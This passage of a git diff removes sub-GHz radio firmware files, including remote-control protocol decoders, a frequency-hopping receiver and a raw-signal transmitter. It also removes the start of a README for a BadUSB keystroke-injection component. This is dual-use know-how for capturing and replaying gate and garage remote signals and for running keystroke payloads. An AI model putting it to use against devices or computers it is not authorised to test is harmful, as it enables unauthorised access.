(raw_len >= target - tol) && (raw_len <= target + tol); -} - -static bool check_polarity(int32_t raw_len, bool expect_high) { - if (expect_high) return raw_len > 0; - else return raw_len < 0; -} - -static bool protocol_rcswitch_decode(const int32_t* raw_data, size_t count, subghz_data_t* out_data) { - if (count < 20) return false; - - // Tenta cada protocolo - for (int p = 0; p < RC_PROTO_COUNT; p++) { - const rcswitch_proto_t* proto = &rc_protos[p]; - - // Determina a polaridade esperada para o primeiro pulso do par (Pulse) - // Normal (inverted=false): Pulse=High (>0), Gap=Low (<0) - // Inverted (inverted=true): Pulse=Low (<0), Gap=High (>0) - bool expect_pulse_high = !proto->inverted; - - // RCSwitch geralmente procura Sync Bit primeiro. - // Sync pode estar no começo ou no fim. - // Vamos varrer o sinal procurando Sync. - - for (size_t i = 0; i < count - 1; i++) { - // Check Sync - int32_t p_sync = raw_data[i]; - int32_t g_sync = raw_data[i+1]; - - // 1. Verifica Polaridade do Sync - if (!check_polarity(p_sync, expect_pulse_high) || - !check_polarity(g_sync, !expect_pulse_high)) { - continue; - } - - // 2. Verifica Duração do Sync - if (check_pulse(p_sync, proto->pulse_len, proto->sync.high) && - check_pulse(g_sync, proto->pulse_len, proto->sync.low)) { - - // Sync Found! Agora decodificar os bits seguintes - uint32_t decoded_val = 0; - int bits = 0; - size_t k = i + 2; - bool fail = false; - - // Tenta ler até 32 bits ou fim do buffer - while (k < count - 1 && bits < 32) { - int32_t p0 = raw_data[k]; - int32_t g0 = raw_data[k+1]; - - // Verifica Polaridade dos Dados - if (!check_polarity(p0, expect_pulse_high) || - !check_polarity(g0, !expect_pulse_high)) { - fail = true; - break; - } - - // Test 0 - if (check_pulse(p0, proto->pulse_len, proto->zero.high) && - check_pulse(g0, proto->pulse_len, proto->zero.low)) { - decoded_val = (decoded_val << 1) | 0; - bits++; - } - // Test 1 - else if (check_pulse(p0, proto->pulse_len, proto->one.high) && - check_pulse(g0, proto->pulse_len, proto->one.low)) { - decoded_val = (decoded_val << 1) | 1; - bits++; - } else { - fail = true; - break; // Not a bit - } - k += 2; - } - - if (!fail && bits >= 8) { - // Sucesso! - static char proto_name[24]; - snprintf(proto_name, sizeof(proto_name), "RCSwitch(%d)", p + 1); - out_data->protocol_name = proto_name; - - out_data->bit_count = bits; - out_data->raw_value = decoded_val; - out_data->serial = decoded_val; // Depende do protocolo - out_data->btn = 0; - - return true; - } - } - } - } - - return false; -} - -subghz_protocol_t protocol_rcswitch = { - .name = "RCSwitch", - .decode = protocol_rcswitch_decode, - .encode = NULL -}; diff --git a/firmware_c5/components/Applications/SubGhz/protocols/protocol_rossi.c b/firmware_c5/components/Applications/SubGhz/protocols/protocol_rossi.c deleted file mode 100644 index 28560231..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/protocol_rossi.c +++ /dev/null @@ -1,87 +0,0 @@ -#include "subghz_protocol_defs.h" -#include -#include - -// Timings para Rossi (HCS301) -// Te (Elementary Period) é tipicamente 300us - 400us -// Short = 1 * Te -// Long = 2 * Te (ocorre quando o bit anterior e atual são iguais na codificação Manchester) - -#define ROSSI_SHORT_MIN 200 -#define ROSSI_SHORT_MAX 600 -#define ROSSI_LONG_MIN 601 -#define ROSSI_LONG_MAX 1000 -#define ROSSI_HEADER_MIN 3500 // Header gap > 3.5ms - -static bool is_short(int32_t val) { - if (val < 0) val = -val; - return (val >= ROSSI_SHORT_MIN && val <= ROSSI_SHORT_MAX); -} - -static bool is_long(int32_t val) { - if (val < 0) val = -val; - return (val >= ROSSI_LONG_MIN && val <= ROSSI_LONG_MAX); -} - -static bool protocol_rossi_decode(const int32_t* raw_data, size_t count, subghz_data_t* out_data) { - if (count < 60) return false; // HCS301 tem muitos pulsos (66 bits Manchester -> até 132 transições) - - // Procurar pelo Header (Gap Longo) - size_t start_idx = 0; - bool header_found = false; - - for (size_t i = 0; i < count - 10; i++) { - // O Header do Rossi é um tempo baixo longo - // Como invertemos o sinal, pode aparecer como positivo ou negativo dependendo do repouso - // Mas geralmente é um GAP. - if (abs(raw_data[i]) > ROSSI_HEADER_MIN) { - start_idx = i + 1; - header_found = true; - break; - } - } - - if (!header_found) return false; - - // Verificar se o que vem depois parece Manchester (apenas pulsos curtos e longos) - // Não vamos fazer o decode bit-a-bit completo agora (complexo sem state machine), - // mas vamos validar a "assinatura" do sinal: uma sequência longa de tempos T e 2T. - - int valid_pulses = 0; - int total_duration = 0; - - for (size_t i = start_idx; i < count; i++) { - int32_t t = raw_data[i]; - - if (is_short(t) || is_long(t)) { - valid_pulses++; - total_duration += abs(t); - } else { - // Se encontrou algo fora do padrão (nem curto nem longo), parou - break; - } - } - - // HCS301 tem 66 bits. Em Manchester, isso gera entre 66 (todos 2T) e 132 (todos 1T) símbolos de tempo. - // Vamos ser tolerantes. Se tivermos mais de 50 pulsos válidos consecutivos após o header, é Rossi. - if (valid_pulses > 50) { - out_data->protocol_name = "Rossi (HCS301)"; - out_data->bit_count = 66; // Padrão HCS301 - - // Extração de serial simples (pseudo-serial baseado nos últimos pulsos seria possível) - // Por enquanto, apenas identificação. - out_data->serial = 0xDEADBEEF; // Placeholder para indicar detecção de Rolling Code - out_data->btn = 0; - out_data->raw_value = 0; - - return true; - } - - return false; -} - -subghz_protocol_t protocol_rossi = { - .name = "Rossi", - .decode = protocol_rossi_decode, - .encode = NULL -}; diff --git a/firmware_c5/components/Applications/SubGhz/protocols/subghz_protocol_registry.c b/firmware_c5/components/Applications/SubGhz/protocols/subghz_protocol_registry.c deleted file mode 100644 index 4f0f52a7..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/subghz_protocol_registry.c +++ /dev/null @@ -1,38 +0,0 @@ -#include "subghz_protocol_registry.h" -#include - -// Declaração externa dos protocolos implementados -extern subghz_protocol_t protocol_princeton; -extern subghz_protocol_t protocol_came; -extern subghz_protocol_t protocol_nice_flo; -extern subghz_protocol_t protocol_ansonic; -extern subghz_protocol_t protocol_chamberlain; -extern subghz_protocol_t protocol_holtek; -extern subghz_protocol_t protocol_linear; -extern subghz_protocol_t protocol_liftmaster; -extern subghz_protocol_t protocol_rossi; -extern subghz_protocol_t protocol_rcswitch; - -// Lista de protocolos ativos -static subghz_protocol_t* registry[] = { - &protocol_rcswitch, // Generic fallback - // &protocol_rossi, // Check first (distinctive header) - &protocol_princeton, - &protocol_came, - &protocol_nice_flo, - &protocol_ansonic, - &protocol_chamberlain, - &protocol_holtek, - &protocol_linear, - &protocol_liftmaster, - NULL -}; - -bool subghz_process_raw(const int32_t* raw_data, size_t count, subghz_data_t* out_result) { - for (int i = 0; registry[i] != NULL; i++) { - if (registry[i]->decode(raw_data, count, out_result)) { - return true; - } - } - return false; -} diff --git a/firmware_c5/components/Applications/SubGhz/subghz_file_loader.c b/firmware_c5/components/Applications/SubGhz/subghz_file_loader.c deleted file mode 100644 index 69499bc4..00000000 --- a/firmware_c5/components/Applications/SubGhz/subghz_file_loader.c +++ /dev/null @@ -1,133 +0,0 @@ -#include "subghz_file_loader.h" -#include "subghz_protocol_registry.h" -#include -#include -#include -#include -#include -#include "esp_log.h" -#include "storage_assets.h" - -static const char *TAG = "SUBGHZ_LOADER"; - -#define MAX_LINE_LEN 2048 -#define INITIAL_BUF_SIZE 2048 // Start with 2048 samples - -static void process_file(const char *filepath) { - ESP_LOGI(TAG, "Processing file: %s", filepath); - - FILE *f = fopen(filepath, "r"); - if (!f) { - ESP_LOGE(TAG, "Failed to open file: %s", filepath); - return; - } - - int32_t *raw_data = malloc(INITIAL_BUF_SIZE * sizeof(int32_t)); - if (!raw_data) { - ESP_LOGE(TAG, "OOM: Failed to allocate initial buffer"); - fclose(f); - return; - } - - size_t capacity = INITIAL_BUF_SIZE; - size_t count = 0; - char *line = malloc(MAX_LINE_LEN); - if (!line) { - ESP_LOGE(TAG, "OOM: Failed to allocate line buffer"); - free(raw_data); - fclose(f); - return; - } - - while (fgets(line, MAX_LINE_LEN, f)) { - if (strncmp(line, "RAW_Data:", 9) == 0) { - char *ptr = line + 9; - char *endptr; - - while (*ptr) { - // Skip whitespace - while (*ptr == ' ' || *ptr == '\t') ptr++; - if (*ptr == '\0' || *ptr == '\r' || *ptr == '\n') break; - - long val = strtol(ptr, &endptr, 10); - if (ptr == endptr) break; // Conversion failed or no number - ptr = endptr; - - // Add to buffer - if (count >= capacity) { - size_t new_cap = capacity * 2; - int32_t *new_buf = realloc(raw_data, new_cap * sizeof(int32_t)); - if (!new_buf) { - ESP_LOGE(TAG, "OOM: Failed to grow buffer to %d", new_cap); - break; - } - raw_data = new_buf; - capacity = new_cap; - } - raw_data[count++] = (int32_t)val; - } - } - } - - free(line); - fclose(f); - - if (count > 0) { - ESP_LOGI(TAG, "Loaded %d samples from %s. Decoding...", count, filepath); - subghz_data_t result = {0}; - - // Ensure result is clean - memset(&result, 0, sizeof(result)); - - if (subghz_process_raw(raw_data, count, &result)) { - ESP_LOGI(TAG, ">>> SUCCESS [%s] Protocol: %s | Serial: 0x%lX | Btn: 0x%X | Bits: %d", - filepath, result.protocol_name, result.serial, result.btn, result.bit_count); - } else { - ESP_LOGW(TAG, ">>> FAILED [%s] No protocol identified", filepath); - } - } else { - ESP_LOGW(TAG, "No RAW_Data found in file: %s", filepath); - } - - free(raw_data); -} - -void subghz_loader_process_directory(const char* dir_path) { - if (!storage_assets_is_mounted()) { - ESP_LOGE(TAG, "Assets partition not mounted! Call storage_assets_init() first."); - return; - } - - ESP_LOGI(TAG, "Scanning directory: %s", dir_path); - - DIR *dir = opendir(dir_path); - if (!dir) { - ESP_LOGE(TAG, "Failed to open directory: %s", dir_path); - return; - } - - struct dirent *entry; - int files_processed = 0; - - while ((entry = readdir(dir)) != NULL) { - // Skip hidden files or current/parent - if (entry->d_name[0] == '.') continue; - - char fullpath[256]; - int len = snprintf(fullpath, sizeof(fullpath), "%s/%s", dir_path, entry->d_name); - if (len >= sizeof(fullpath)) continue; - - struct stat st; - if (stat(fullpath, &st) == 0 && S_ISREG(st.st_mode)) { - // Check extension .sub - char *ext = strrchr(entry->d_name, '.'); - if (ext && strcmp(ext, ".sub") == 0) { - process_file(fullpath); - files_processed++; - } - } - } - closedir(dir); - - ESP_LOGI(TAG, "Done. Processed %d files.", files_processed); -} diff --git a/firmware_c5/components/Applications/SubGhz/subghz_receiver.c b/firmware_c5/components/Applications/SubGhz/subghz_receiver.c deleted file mode 100644 index 8d42cdfa..00000000 --- a/firmware_c5/components/Applications/SubGhz/subghz_receiver.c +++ /dev/null @@ -1,225 +0,0 @@ -#include "subghz_receiver.h" -#include "cc1101.h" -#include "driver/gpio.h" -#include "driver/rmt_rx.h" -#include "driver/rmt_encoder.h" -#include "esp_log.h" -#include "pin_def.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "freertos/queue.h" -#include "subghz_protocol_registry.h" - -static const char *TAG = "SUBGHZ_RX"; - -#define RMT_RX_GPIO 8 // GDO0 (GPIO_SDA_PIN) -#define RMT_RESOLUTION_HZ 1000000 // 1MHz -> 1us per tick - -// Configuration -#define RX_BUFFER_SIZE 1024 // Number of symbols -#define MIN_PULSE_NS 1000 // Hardware Filter limit (~3us) -#define SOFTWARE_FILTER_US 15 // Software filter (15us) to clean up noise -#define MAX_PULSE_NS 10000000 // 10ms idle timeout - -// Hopping Frequencies -static const uint32_t HOOP_FREQS[] = { - 433920000, - 868350000, - 315000000, - 300000000, - 390000000, - 418000000, - 915000000, - 302750000, - 303870000, - 304250000, - 310000000, - 318000000 -}; -static const size_t HOOP_FREQS_COUNT = sizeof(HOOP_FREQS) / sizeof(HOOP_FREQS[0]); - -static TaskHandle_t rx_task_handle = NULL; -static volatile bool s_is_running = false; -static subghz_mode_t s_rx_mode = SUBGHZ_MODE_SCAN; -static subghz_modulation_t s_rx_mod = SUBGHZ_MODULATION_ASK; -static uint32_t s_rx_freq = 433920000; -static bool s_hopping_active = false; -static int s_hoop_idx = 0; - -static rmt_channel_handle_t rx_channel = NULL; -static QueueHandle_t rx_queue = NULL; -static rmt_symbol_word_t raw_symbols[RX_BUFFER_SIZE]; - -static bool subghz_rx_done_callback(rmt_channel_handle_t channel, const rmt_rx_done_event_data_t *edata, void *user_data) -{ - BaseType_t high_task_wakeup = pdFALSE; - QueueHandle_t queue = (QueueHandle_t)user_data; - xQueueSendFromISR(queue, edata, &high_task_wakeup); - return high_task_wakeup == pdTRUE; -} - -static void subghz_rx_task(void *pvParameters) { - ESP_LOGI(TAG, "Starting RMT RX Task - Mode: %s, Mod: %s, Freq: %lu", - s_rx_mode == SUBGHZ_MODE_RAW ? "RAW" : "SCAN", - s_rx_mod == SUBGHZ_MODULATION_FSK ? "FSK" : "ASK", - s_rx_freq); - - // 1. Configure RMT RX Channel - rmt_rx_channel_config_t rx_channel_cfg = { - .clk_src = RMT_CLK_SRC_DEFAULT, - .resolution_hz = RMT_RESOLUTION_HZ, - .mem_block_symbols = 256, // Default internal buffer - .gpio_num = RMT_RX_GPIO, - .flags.invert_in = false, // Disable inversion (Signal seems standard Active High) - .flags.with_dma = true, // Enable DMA to prevent buffer overflows - }; - - ESP_ERROR_CHECK(rmt_new_rx_channel(&rx_channel_cfg, &rx_channel)); - - // 2. Register Callbacks - rx_queue = xQueueCreate(1, sizeof(rmt_rx_done_event_data_t)); - rmt_rx_event_callbacks_t cbs = { - .on_recv_done = subghz_rx_done_callback, - }; - ESP_ERROR_CHECK(rmt_rx_register_event_callbacks(rx_channel, &cbs, rx_queue)); - - // 3. Enable Channel - ESP_ERROR_CHECK(rmt_enable(rx_channel)); - - // 4. Configure CC1101 - if (s_rx_mod == SUBGHZ_MODULATION_FSK) { - cc1101_enable_fsk_mode(s_rx_freq); - } else { - cc1101_enable_async_mode(s_rx_freq); // ASK - } - - // 5. Start Receiving Loop - s_is_running = true; - ESP_LOGI(TAG, "Waiting for signals..."); - - rmt_receive_config_t receive_config = { - .signal_range_min_ns = MIN_PULSE_NS, // Hardware Filter - .signal_range_max_ns = MAX_PULSE_NS, // Idle Timeout - }; - - rmt_rx_done_event_data_t rx_data; - - // Allocate decode buffer (Max potential pulses = Buffer Size * 2) - int32_t *decode_buffer = malloc(RX_BUFFER_SIZE * 2 * sizeof(int32_t)); - - // Start first reception - ESP_ERROR_CHECK(rmt_receive(rx_channel, raw_symbols, sizeof(raw_symbols), &receive_config)); - - TickType_t last_hop_time = xTaskGetTickCount(); - const TickType_t hop_interval = pdMS_TO_TICKS(5000); - - while (s_is_running) { - // Hopping Logic - if (s_hopping_active && (xTaskGetTickCount() - last_hop_time > hop_interval)) { - s_hoop_idx = (s_hoop_idx + 1) % HOOP_FREQS_COUNT; - s_rx_freq = HOOP_FREQS[s_hoop_idx]; - - ESP_LOGI(TAG, "Hopping to: %lu Hz", (long unsigned int)s_rx_freq); - - cc1101_strobe(CC1101_SIDLE); - cc1101_set_frequency(s_rx_freq); - cc1101_strobe(CC1101_SRX); - - last_hop_time = xTaskGetTickCount(); - } - - if (xQueueReceive(rx_queue, &rx_data, pdMS_TO_TICKS(100)) == pdPASS) { - - if (rx_data.num_symbols > 0) { - size_t decode_idx = 0; - - // Process pulses into linear buffer - for (size_t i = 0; i < rx_data.num_symbols; i++) { - rmt_symbol_word_t *sym = &rx_data.received_symbols[i]; - - // Pulse 0 + Software Filter - if (sym->duration0 >= SOFTWARE_FILTER_US) { - int32_t val = sym->level0 ? (int)sym->duration0 : -(int)sym->duration0; - if (decode_buffer && decode_idx < RX_BUFFER_SIZE * 2) { - decode_buffer[decode_idx++] = val; - } - } - - // Pulse 1 + Software Filter - if (sym->duration1 >= SOFTWARE_FILTER_US) { - int32_t val = sym->level1 ? (int)sym->duration1 : -(int)sym->duration1; - if (decode_buffer && decode_idx < RX_BUFFER_SIZE * 2) { - decode_buffer[decode_idx++] = val; - } - } - } - - if (decode_buffer && decode_idx > 0) { - if (s_rx_mode == SUBGHZ_MODE_RAW) { - // RAW MODE: Always print - printf("RAW: "); - for (size_t k = 0; k < decode_idx; k++) { - printf("%ld ", (long)decode_buffer[k]); - } - printf("\n"); - } else { - // SCAN MODE: Try to decode - subghz_data_t decoded = {0}; - if (subghz_process_raw(decode_buffer, decode_idx, &decoded)) { - ESP_LOGI(TAG, "DECODED: Protocol: %s | Serial: 0x%lX | Btn: 0x%X | Bits: %d | Freq: %lu", - decoded.protocol_name, decoded.serial, decoded.btn, decoded.bit_count, (long unsigned int)s_rx_freq); - } else { - // DEBUG: Show RAW even if failed, to help calibrate decoders - ESP_LOGW(TAG, "Unknown Protocol detected (Length: %d) at %lu Hz. RAW Data below:", decode_idx, (long unsigned int)s_rx_freq); - printf("RAW: "); - for (size_t k = 0; k < decode_idx; k++) { - printf("%ld ", (long)decode_buffer[k]); - } - printf("\n"); - } - } - } - } - - // Continue receiving - if (s_is_running) { - ESP_ERROR_CHECK(rmt_receive(rx_channel, raw_symbols, sizeof(raw_symbols), &receive_config)); - } - } - } - - // Cleanup - if (decode_buffer) free(decode_buffer); - cc1101_strobe(CC1101_SIDLE); // Stop Radio (High-Z) - rmt_disable(rx_channel); - rmt_del_channel(rx_channel); - vQueueDelete(rx_queue); - rx_channel = NULL; - rx_queue = NULL; - vTaskDelete(NULL); -} - -void subghz_receiver_start(subghz_mode_t mode, subghz_modulation_t mod, uint32_t freq) { - if (s_is_running) return; - s_rx_mode = mode; - s_rx_mod = mod; - - if (freq == 0) { - s_hopping_active = true; - s_hoop_idx = 0; - s_rx_freq = HOOP_FREQS[0]; - } else { - s_hopping_active = false; - s_rx_freq = freq; - } - - xTaskCreatePinnedToCore(subghz_rx_task, "subghz_rx", 4096, NULL, 5, &rx_task_handle, 1); -} - -void subghz_receiver_stop(void) { - s_is_running = false; -} - -bool subghz_receiver_is_running(void) { - return s_is_running; -} diff --git a/firmware_c5/components/Applications/SubGhz/subghz_spectrum.c b/firmware_c5/components/Applications/SubGhz/subghz_spectrum.c deleted file mode 100644 index b4e4416f..00000000 --- a/firmware_c5/components/Applications/SubGhz/subghz_spectrum.c +++ /dev/null @@ -1,129 +0,0 @@ -#include "subghz_spectrum.h" -#include "cc1101.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "esp_log.h" -#include - -static const char *TAG = "SUBGHZ_SPECTRUM"; -static TaskHandle_t spectrum_task_handle = NULL; -static volatile bool s_stop_requested = false; -static volatile bool s_is_running = false; - -float spectrum_data[SPECTRUM_SAMPLES]; - -void subghz_spectrum_task(void *pvParameters) { - s_is_running = true; - int log_counter = 0; - - // Configuração de "Zoom Out": Varredura de 600 kHz (+/- 300 kHz) - // Focada em 433.92 MHz para maior sensibilidade - // Centro: 433.92 MHz - // Range: 600 kHz / 80 samples = 7.5 kHz por passo (Alta resolução) - const uint32_t CENTER_FREQ = 433920000; - const uint32_t SPAN_HZ = 600000; - const uint32_t STEP_HZ = SPAN_HZ / SPECTRUM_SAMPLES; - const uint32_t START_FREQ = CENTER_FREQ - (SPAN_HZ / 2); - - while (!s_stop_requested) { - // We assume the driver is initialized. If not, we might want to check or handle it. - // There is no public "is_initialized" in cc1101.h, but we rely on the system setup. - - float sweep_max_dbm = -130.0; // Rastreia o pico máximo desta varredura completa - - // Loop de varredura (Core Loop) - // Executa 80 iterações com delay correto para calibração - for (int i = 0; i < SPECTRUM_SAMPLES; i++) { - if (s_stop_requested) break; - - uint32_t current_freq = START_FREQ + (i * STEP_HZ); - - // 1. IDLE para preparar - cc1101_strobe(CC1101_SIDLE); - - // 2. Define a nova frequência - cc1101_set_frequency(current_freq); - - // 3. Ativa RX (Calibração automática na transição IDLE->RX) - cc1101_strobe(CC1101_SRX); - - // Tempo de estabilização otimizado (Reduzido para 400us para maior agilidade) - ets_delay_us(400); - - // --- DETECÇÃO DE PICO (OOK MITIGATION) --- - // Lê o RSSI múltiplas vezes para pegar o sinal "ON" se estiver pulsando - // Reduzido para 3 amostras para aumentar FPS - float local_max = -130.0; - for(int k=0; k<3; k++) { - uint8_t raw = cc1101_read_reg(CC1101_RSSI | 0x40); - float val = cc1101_convert_rssi(raw); - if(val > local_max) local_max = val; - ets_delay_us(20); // Intervalo mínimo - } - - spectrum_data[i] = local_max; - - // Atualiza o máximo global da varredura - if(local_max > sweep_max_dbm) { - sweep_max_dbm = local_max; - } - - // Yield a cada 8 amostras (menos overhead de context switch) - if (i % 8 == 0) { - vTaskDelay(1); - } - } - - if (++log_counter >= 5) { - log_counter = 0; - } - - // Delay entre varreduras reduzido para 10ms (Scan mais rápido) - vTaskDelay(pdMS_TO_TICKS(10)); - } - - // Cleanup before exit - cc1101_strobe(CC1101_SIDLE); - s_is_running = false; - spectrum_task_handle = NULL; - vTaskDelete(NULL); -} - -void subghz_spectrum_start(void) { - if (spectrum_task_handle != NULL || s_is_running) { - ESP_LOGW(TAG, "Spectrum task already running"); - return; - } - - s_stop_requested = false; - - // Inicializa o array de espectro com "noise floor" - for(int i = 0; i < SPECTRUM_SAMPLES; i++) { - spectrum_data[i] = -110.0; - } - - ESP_LOGI(TAG, "Starting Spectrum Task..."); - xTaskCreatePinnedToCore(subghz_spectrum_task, "subghz_scan", 4096, NULL, 1, &spectrum_task_handle, 1); -} - -void subghz_spectrum_stop(void) { - if (spectrum_task_handle != NULL || s_is_running) { - ESP_LOGI(TAG, "Stopping Spectrum Task..."); - s_stop_requested = true; - - // Wait for task to finish (timeout 1s) - int retries = 0; - while (s_is_running && retries < 20) { - vTaskDelay(pdMS_TO_TICKS(50)); - retries++; - } - - if (s_is_running) { - ESP_LOGE(TAG, "Task failed to stop gracefully, forcing delete"); - if (spectrum_task_handle) vTaskDelete(spectrum_task_handle); - s_is_running = false; - spectrum_task_handle = NULL; - } - } -} - diff --git a/firmware_c5/components/Applications/SubGhz/subghz_transmitter.c b/firmware_c5/components/Applications/SubGhz/subghz_transmitter.c deleted file mode 100644 index e430acf7..00000000 --- a/firmware_c5/components/Applications/SubGhz/subghz_transmitter.c +++ /dev/null @@ -1,216 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include "subghz_transmitter.h" -#include "cc1101.h" -#include "driver/rmt_tx.h" -#include "driver/rmt_encoder.h" -#include "esp_log.h" -#include "esp_heap_caps.h" -#include "pin_def.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "freertos/queue.h" -#include - -static const char *TAG = "SUBGHZ_TX"; - -#define RMT_TX_GPIO 8 // GDO0 (GPIO_SDA_PIN) -#define RMT_RESOLUTION_HZ 1000000 // 1MHz -> 1us per tick - -#define TX_QUEUE_SIZE 10 - -typedef struct { - int32_t *timings; - size_t count; -} tx_item_t; - -static rmt_channel_handle_t tx_channel = NULL; -static rmt_encoder_handle_t copy_encoder = NULL; -static QueueHandle_t tx_queue = NULL; -static TaskHandle_t tx_task_handle = NULL; -static volatile bool s_is_running = false; - -static void subghz_tx_task(void *pvParameters) { - tx_item_t item; - - ESP_LOGI(TAG, "TX Task Started"); - - while (s_is_running) { - if (xQueueReceive(tx_queue, &item, pdMS_TO_TICKS(200)) == pdPASS) { - - ESP_LOGI(TAG, "Processing TX item: %d symbols", item.count); - - // 1. Convert Timings to RMT Symbols - // Each rmt_symbol_word_t holds 2 pulses in the packed format for Copy Encoder - size_t num_words = (item.count + 1) / 2; - rmt_symbol_word_t *symbols = heap_caps_malloc(num_words * sizeof(rmt_symbol_word_t), MALLOC_CAP_DEFAULT); - - if (symbols) { - memset(symbols, 0, num_words * sizeof(rmt_symbol_word_t)); - - for (size_t i = 0; i < item.count; i++) { - size_t word_idx = i / 2; - int pulse_idx = i % 2; - - int32_t t = item.timings[i]; - uint32_t duration = (t > 0) ? t : -t; - // Logic: Positive=Active(1), Negative=Gap(0) - // Note: RMT 'invert_out' handles the electrical inversion if needed. - uint32_t level = (t > 0) ? 1 : 0; - - if (duration > 32767) duration = 32767; - - if (pulse_idx == 0) { - symbols[word_idx].duration0 = duration; - symbols[word_idx].level0 = level; - } else { - symbols[word_idx].duration1 = duration; - symbols[word_idx].level1 = level; - } - } - - // 2. Enable CC1101 TX - cc1101_enter_tx_mode(); - - // 3. Transmit - rmt_transmit_config_t tx_config = { - .loop_count = 0, - }; - - ESP_ERROR_CHECK(rmt_transmit(tx_channel, copy_encoder, symbols, num_words * sizeof(rmt_symbol_word_t), &tx_config)); - - // 4. Wait for completion - // We use a timeout instead of infinite wait to avoid hanging the task forever - rmt_tx_wait_all_done(tx_channel, 2000); // 2s max timeout - - // 5. Cleanup Symbols - free(symbols); - - // Back to Idle - cc1101_strobe(CC1101_SIDLE); - } else { - ESP_LOGE(TAG, "Failed to allocate symbol buffer"); - } - - // Free the timing buffer allocated in send_raw - if (item.timings) { - free(item.timings); - } - - ESP_LOGI(TAG, "TX Complete"); - } - } - - vTaskDelete(NULL); -} - -void subghz_tx_init(void) { - if (s_is_running) return; - - ESP_LOGI(TAG, "Initializing SubGhz Transmitter (Async Task)"); - - // SAFETY: Ensure CC1101 is NOT driving the pin (RX mode) before we enable RMT TX - cc1101_strobe(CC1101_SIDLE); - - // 1. Create RMT TX Channel - rmt_tx_channel_config_t tx_channel_cfg = { - .clk_src = RMT_CLK_SRC_DEFAULT, - .resolution_hz = RMT_RESOLUTION_HZ, - .mem_block_symbols = 64, - .trans_queue_depth = 4, - .gpio_num = RMT_TX_GPIO, - .flags.invert_out = false, // Disable inversion - }; ESP_ERROR_CHECK(rmt_new_tx_channel(&tx_channel_cfg, &tx_channel)); - - // 2. Create Copy Encoder - rmt_copy_encoder_config_t copy_encoder_cfg = {}; - ESP_ERROR_CHECK(rmt_new_copy_encoder(©_encoder_cfg, ©_encoder)); - - // 3. Enable RMT Channel - ESP_ERROR_CHECK(rmt_enable(tx_channel)); - - // 4. Configure CC1101 - cc1101_enable_async_mode(433920000); - cc1101_strobe(CC1101_SIDLE); - - // 5. Create Queue and Task - tx_queue = xQueueCreate(TX_QUEUE_SIZE, sizeof(tx_item_t)); - if (tx_queue == NULL) { - ESP_LOGE(TAG, "Failed to create TX Queue"); - return; - } - - s_is_running = true; - xTaskCreatePinnedToCore(subghz_tx_task, "subghz_tx", 4096, NULL, 5, &tx_task_handle, 1); -} - -void subghz_tx_stop(void) { - if (!s_is_running) return; - - ESP_LOGI(TAG, "Stopping SubGhz Transmitter"); - s_is_running = false; - - // Wait slightly for task to finish current loop - vTaskDelay(pdMS_TO_TICKS(100)); - - // Drain Queue - if (tx_queue) { - tx_item_t item; - while (xQueueReceive(tx_queue, &item, 0) == pdPASS) { - if (item.timings) free(item.timings); - } - vQueueDelete(tx_queue); - tx_queue = NULL; - } - - // Cleanup RMT - if (tx_channel) { - rmt_disable(tx_channel); - rmt_del_channel(tx_channel); - tx_channel = NULL; - } - if (copy_encoder) { - rmt_del_encoder(copy_encoder); - copy_encoder = NULL; - } - - // Put radio in Idle - cc1101_strobe(CC1101_SIDLE); - - tx_task_handle = NULL; -} - -void subghz_tx_send_raw(const int32_t *timings, size_t count) { - if (!s_is_running || !timings || count == 0) return; - - // Allocate memory for this specific transmission - // The task will free this memory after processing - int32_t *timings_copy = heap_caps_malloc(count * sizeof(int32_t), MALLOC_CAP_DEFAULT); - if (!timings_copy) { - ESP_LOGE(TAG, "OOM: Failed to copy TX timings"); - return; - } - - memcpy(timings_copy, timings, count * sizeof(int32_t)); - - tx_item_t item; - item.timings = timings_copy; - item.count = count; - - if (xQueueSend(tx_queue, &item, pdMS_TO_TICKS(100)) != pdPASS) { - ESP_LOGE(TAG, "TX Queue Full - Dropping packet"); - free(timings_copy); - } -} diff --git a/firmware_c5/components/Applications/bad_usb/README.md b/firmware_c5/components/Applications/bad_usb/README.md deleted file mode 100644 index 031f6b74..00000000 --- a/firmware_c5/components/Applications/bad_usb/README.md +++ /dev/null @@ -1,123 +0,0 @@ -# BadUSB Application Component - -This component implements a modular HID application capable of emulating keyboard and mouse input to execute automated payloads. It features a 3-layer architecture that decouples script parsing, keyboard layouts, and hardware transport. - -## Overview - -- **Location:** `components/Applications/bad_usb/` -- **Architecture Layers:** - - **HID HAL:** `include/hid_hal.h` (Hardware Abstraction Layer) - - **HID Layouts:** `include/hid_layouts.h` (US and ABNT2 translation) - - **Scripting Engine:** `include/ducky_parser.h` (DuckyScript parser) - - **USB Driver:** `include/bad_usb.h` (TinyUSB backend) - -## Architecture - -The component is organized into three distinct layers: - -1. **HAL Layer (hid_hal):** Manages the registration of hardware drivers (USB, etc.) and provides a common interface for sending key reports, mouse movements, and waiting for connections. -2. **Layout Layer (hid_layouts):** Translates characters and strings into HID keycodes. This layer is hardware-independent and can be reused by any driver registered in the HAL. -3. **Parser Layer (ducky_parser):** Processes DuckyScript files and calls the HAL or Layout functions to execute commands. - -## API Reference - -### HID HAL (hid_hal.h) - -#### `hid_hal_register_callback` -```c -void hid_hal_register_callback(hid_send_callback_t send_cb, hid_mouse_callback_t mouse_cb, hid_wait_callback_t wait_cb); -``` -Registers the functions that handle actual data transmission and connection waiting. - -#### `hid_hal_press_key` -```c -void hid_hal_press_key(uint8_t keycode, uint8_t modifiers); -``` -Presses and releases a key using the registered driver (approx 10ms cycle). - -#### `hid_hal_mouse_move` -```c -void hid_hal_mouse_move(int8_t x, int8_t y); -``` -Moves the mouse cursor relative to its current position. - -#### `hid_hal_mouse_click` -```c -void hid_hal_mouse_click(uint8_t buttons); -``` -Performs a mouse click (press and release). - -#### `hid_hal_mouse_scroll` -```c -void 